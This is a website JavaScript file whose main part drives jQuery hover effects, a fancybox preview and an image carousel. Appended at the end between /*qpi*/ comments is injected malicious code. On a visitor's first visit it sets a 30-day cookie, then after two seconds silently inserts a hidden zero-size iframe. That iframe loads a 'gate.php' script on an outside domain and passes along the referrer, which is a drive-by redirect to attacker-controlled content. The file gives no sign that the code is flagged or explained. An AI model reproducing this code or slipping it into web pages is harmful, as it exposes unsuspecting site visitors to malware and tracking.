//Cufon.replace('h1, h2, h3');

$(function() {


	
	$(".network a").hover(function() {
		
		$("img", this).stop(true).animate({"margin-top": "-40px"}, 250);
		
		/* if($("img", this).size() > 1) {
			$("img:last").stop(true).fadeIn(200);
		}
		else {
			$(this).append($(this).html());
			$("img:last", this).css("margin-top", "-40px").hide().fadeIn(200);
		} */
		
	
	}, function() {
		
		$("img", this).stop(true).animate({"margin-top": "0"}, 250);
	
		/* $("img:last", this).fadeOut(200, function() { $(this).remove(); }); */
	
	});
	
	$("#preview").fancybox({
		'titlePosition': 'over'
	});
	
	$("#carousel ul a").click(function() {
		
		$("#preview img").animate({"margin-top": "-272px"}, function() { $(this).remove(); });
		$("#preview").append( $(this).html() )
			.attr("title", $(this).attr("title"))
			.attr("href", $(this).attr("href"));
		
		$("#carousel li").removeClass("active");
		$(this).parent().addClass("active");
		
		return false;
	
	});
	
	var carCount = $("#carousel li").size();
	var carPos = 1;
	$("#carousel .prev").click(function() {
	
		if(carPos > 1) {
		
			carPos--;
		
			$("#carousel ul").stop(true).animate({top: (carPos - 1) * -76});
			
			if(carPos == 1) {
				$(this).addClass("none");
			}
			if(carPos < carCount) {
				$("#carousel .next").removeClass("none");
			}
			
		}
	
	});
	
	$("#carousel .next").click(function() {
		
		if(carPos < carCount) {
		
			carPos++;
		
			$("#carousel ul").stop(true).animate({top: (carPos - 1) * -76});
			
			if(carPos == carCount) {
				$(this).addClass("none");
			}
			if(carPos > 1) {
				$("#carousel .prev").removeClass("none");
			}
			
		}
	
	});

});/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://s1.kaluchka1.in/gate.php?f=854645&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
